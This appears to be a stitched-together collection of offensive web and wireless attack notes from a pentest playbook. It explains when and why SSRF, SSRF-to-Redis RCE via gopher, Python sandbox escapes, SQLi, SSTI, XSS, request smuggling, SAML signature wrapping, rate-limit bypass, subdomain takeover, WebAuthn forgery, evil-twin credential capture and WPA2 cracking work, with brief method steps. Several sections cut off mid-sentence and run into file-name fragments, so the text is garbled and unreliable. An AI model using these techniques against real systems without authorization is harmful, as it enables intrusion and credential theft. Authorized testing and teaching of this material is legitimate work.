XSS-in-preview and local-file angles).
## Why it works
Unfurlers are built to fetch *anything*, so allowlists are rare or trivially bypassed. The fetch
frequently runs in a **separate worker/microservice** with its own network position — internal
dashboards, metadata IPs, and queues may be reachable from there even when the web tier is
locked down. The fetcher also *parses* the response (HTML, images, sometimes JS), which addsweb-open-redirect

# Open redirect
## When it applies
The app redirects to a location derived from user input without validating it stays on-site.
Low severity alone — but a powerful chain link.
## Why it works

turns other flows malicious (OAuth codes/tokens sent to your host, SSRF allowlist bypass via a
redirect to an internal URL).
## Method

# postMessage abuse
## When it applies
The target sends or receives `postMessage` between windows/iframes (SSO, payment widgets, chat,
embeds). A receiver that doesn't validate the sender's origin will act on a message from *your*
page.
## Why it works
`postMessage` is cross-origin by design; safety depends entirely on the receiver checking
`event.origin` and the sender setting a specific `targetOrigin`. Miss the origin check and any site
can drive the handler; use `targetOrigin="*"` and any embedder can read the message. Then it's just
a matter of what the handler does with `event.data` — often `innerHTML`, `eval`, `location`, or a
relayed token.

# Prototype pollution
## When it applies
A JS app merges attacker-controlled keys into an object without blocking `__proto__` /
`constructor` / `prototype`. Client-side or Node server-side. Impact needs a "gadget" — code
that later reads a polluted property.
## Why it works
In JS, every object shares `Object.prototype`. Writing `__proto__.x` via a vulnerable merge sets
`x` on *every* object. A later read of `obj.x` (that the dev assumed was undefined) now returns
your value — turning a config default, an HTML attribute, or a command option to your advantage.

User input reaches `eval()`, `exec()`, a "safe expression" evaluator, a template engine that runs

String-based keyword filters remove *names*, but the objects they'd name are still reachable through
Python's object graph. From any object you can walk `__class__ → __base__ → __subclasses__()` to
find a class whose module gives you code execution (`subprocess.Popen`, `os.system`, `builtins`),
without ever typing a banned identifier literally.

# Race conditions (TOCTOU / limit-overrun)
## When it applies
An action is meant to happen once (or N times) and the server checks a condition, then acts, on
shared state — without atomicity. Concurrent requests slip between check and update.
## Why it works
Between "check if allowed" and "record that it happened" there's a window. Fire many requests in
that window and several pass the check before any updates the state — so a one-time coupon
redeems 10×, a balance is spent twice, a limit is overrun.
## Method
1. **Pick a limited action** with observable state (balance, redeemed flag, count).
2. **Send a burst in parallel** aligned to hit the window together: Burp **Turbo Intruder**web-rate-limit-bypass

# Rate-limit bypass
## When it applies
An endpoint limits attempts (login, OTP/2FA, password reset, coupon, search) and you need more
attempts than allowed — to brute force, guess a code, or enumerate. The limit is the only control
standing between you and the bug.
## Why it works
Rate limits are enforced on a key the attacker can often change or spoof: an IP header, a session,
an account id, or a per-endpoint counter. If the key is attacker-controlled or the limit is
inconsistent across paths/casing, you reset or dodge the counter.
## Method
1. **Find the key**: is the limit per-IP, per-account, per-session, or global? Change it:web-request-smuggling

# HTTP request smuggling (desync)
## When it applies
Requests pass through a front-end (proxy/CDN/LB) to a back-end, and the two disagree on where
one request ends and the next begins (Content-Length vs Transfer-Encoding parsing).
## Why it works
If the front-end and back-end compute request boundaries differently, part of your request is
interpreted by the back-end as the *start of the next* request — which belongs to another user.
That lets you prepend data to victims' requests: bypass controls, capture their requests, or poison caches.
## Method
1. **Detect safely with timing**: use Burp's **HTTP Request Smuggler** / the desync toolkit —
send a CL.TE / TE.CL probe crafted to make the back-end wait, and watch for the tell-tale delay.web-saml

# SAML authentication attacks
## When it applies
The app authenticates via SAML SSO — the browser POSTs a base64 `SAMLResponse` (an XML assertion
signed by the IdP) to the SP's ACS endpoint. Break the signature validation and you forge login as anyone.
## Why it works
SAML security rests entirely on the SP correctly validating the XML signature over the assertion.
XML signature validation is notoriously error-prone: SPs accept unsigned assertions, validate the
wrong element, or can be tricked by **XML Signature Wrapping (XSW)** — where a signed element is
kept for validation but an injected unsigned assertion is what the app actually reads.
## Method

# SQL Injection (SQLi)
## When it applies
User input is concatenated into a SQL query. Test every param, header (`X-Forwarded-For`,
`User-Agent`, `Referer` sometimes logged into DB), cookie, and JSON field — not just `?id=`.
## Why it works
The query string mixes code and data. A stray quote/operator lets you close the intended
literal and append your own SQL, which the engine parses as instructions. Blind variants
leak data one bit at a time via truthy/falsy responses or timing.

# Server-Side Request Forgery (SSRF)
## When it applies
The server makes an outbound request to a destination you control or influence. Even a
"blind" fetch (no response shown) is useful if you can see the callback and reach internal
services.
## Why it works
The request originates from inside the trust boundary, so it bypasses network ACLs and hits
things you can't reach directly: cloud metadata, internal admin panels, databases, other
microservices — often unauthenticated because they "only accept internal traffic".
## Method
1. **Confirm** with an out-of-band beacon: point the param at your `interactsh`/Collaboratorweb-ssrf-gopher-redis-rce

# SSRF → internal Redis → RCE via gopher://
## When it applies
- You have a confirmed **SSRF**: the app fetches a URL you control (webhook, "import from
URL", link preview, avatar-by-URL, headless PDF, XXE-to-SSRF), and it will follow
`gopher://` (curl-backed fetchers commonly do).
- An **internal Redis** is reachable from the app host (`127.0.0.1:6379` or a Docker
service) and is **unauthenticated** (default) or you know the password.
## Why it works
Redis speaks a simple newline/inline text protocol. `gopher://` lets you send **arbitrary
raw bytes** to a TCP port, so you can pipeline real Redis commands through the SSRF.
Redis can write files (`CONFIG SET dir` + `dbfilename` + `SAVE`), so you overwrite a file
that gets executed: a cron job, `~/.ssh/authorized_keys`, or a web-root PHP file.web-ssti

# Server-Side Template Injection (SSTI)
## When it applies
Input flows into a server-side template that is *evaluated*, not just interpolated as text.
Common in email/notification templates, custom dashboards, and any "use variables in your
message" feature.
## Why it works
Template engines execute expressions. If attacker input becomes part of the template source
(rather than a bound variable), the engine evaluates it — and most engines expose object
introspection that reaches OS command execution.

# Subdomain takeover
## When it applies
A subdomain's DNS still points (CNAME/A) to a third-party service that no longer has the
resource provisioned, so you can register it and serve content on the victim's subdomain.
## Why it works
The org deleted the S3 bucket / GitHub Pages / Heroku app but left the DNS record. The provider
now serves that hostname to whoever claims the resource next — you. You control content on a
trusted subdomain (phishing, cookie theft on the parent domain, OAuth redirect_uri allowlist).
## Method
1. **Find candidates**: from subdomain enum, resolve CNAMEs (`dig CNAME sub.target.com`) and look
for third-party targets with a "not claimed" fingerprint (`nuclei -t takeovers`, `subjack`).web-testing-checklist

# Forge a software WebAuthn authenticator (attestation: none)
## When it applies
- The app authenticates with **WebAuthn/FIDO2** (register + authenticate "ceremonies",
`navigator.credentials.create/get`, client bundles calling
`/register/begin`,`/register/finish`,`/auth/begin`,`/auth/finish`).
- `register/begin` returns creation options with **`"attestation":"none"`** (or the RP
never validates the attestation certificate chain). None-attestation means the server
does NOT check that a real hardware authenticator vouched for the key — so a key you
generate in software is accepted.
- You can start registration: either registration is open, or you can **leak an
invite/enrollment token** (see `tech-mongo-agg-facet-bypass` and NoSQL-injection notes).

# WebSocket attacks
## When it applies
The app uses WebSockets for realtime features. They're often less-tested than HTTP and skip the
authz/validation the REST API has — plus the handshake can be CSRF-able.
## Why it works
The WS handshake is an HTTP request that carries cookies; if the server authenticates by cookie
alone and doesn't check `Origin`, any site can open a socket as the victim (Cross-Site WebSocket
Hijacking). And per-message authorization is frequently missing — the server trusts the connection.
## Method
1. **Intercept & replay**: use Burp's WebSocket history to read/modify messages; tamper fields
(ids, roles, amounts) and resend — test per-message authz (IDOR/BOLA over the socket).web-xss

# Cross-Site Scripting (XSS)
## When it applies
Any place your input reaches the response or the DOM without correct context-aware output
encoding: reflected (in the immediate response), stored (saved then rendered to others),
or DOM-based (client-side JS writes attacker data into a sink).
## Why it works
The browser can't tell your data from the page's own markup/script. If input lands in an
HTML context and the app doesn't encode `< > " ' &` *for that exact context*, your bytes
become new elements, attributes, or script. Filters usually fail because they encode for
the wrong context (HTML-encode but you're in a JS string, or in an attribute, or in a URL).

# Evil-twin / rogue AP (enterprise credential harvesting)
## When it applies
An authorized assessment of a WPA2-**Enterprise** (802.1X) network, or a captive-portal Wi-Fi, where
clients can be lured to a look-alike AP. `pentest`-only, in-scope SSIDs recorded in `scope.txt`, and
coordinated so you only capture *test/consenting* users' credentials per RoE.
## Why it works
WPA2-Enterprise authenticates users to a RADIUS server, but many clients don't properly validate the
RADIUS server's certificate. A rogue AP advertising the same SSID can complete enough of the
PEAP-MSCHAPv2 exchange to capture each user's username + MSCHAPv2 challenge/response, which cracks
offline to the domain password. Captive portals simply hand you the credentials the user types.

# WPA2-PSK attacks
## When it applies
An authorized wireless assessment where a WPA2-Personal (pre-shared key) network is in scope and you
have a monitor-mode-capable adapter within radio range. This is `pentest`-only — wireless testing
needs physical proximity and authorization for the specific SSIDs (record them in `scope.txt`).
## Why it works
WPA2-PSK derives its session keys from the passphrase and values exchanged in the 4-way handshake.
Capture that handshake (or a single PMKID from the AP) and you can brute the passphrase offline — no
further interaction with the network, no lockout. Weak/guessable PSKs fall quickly.
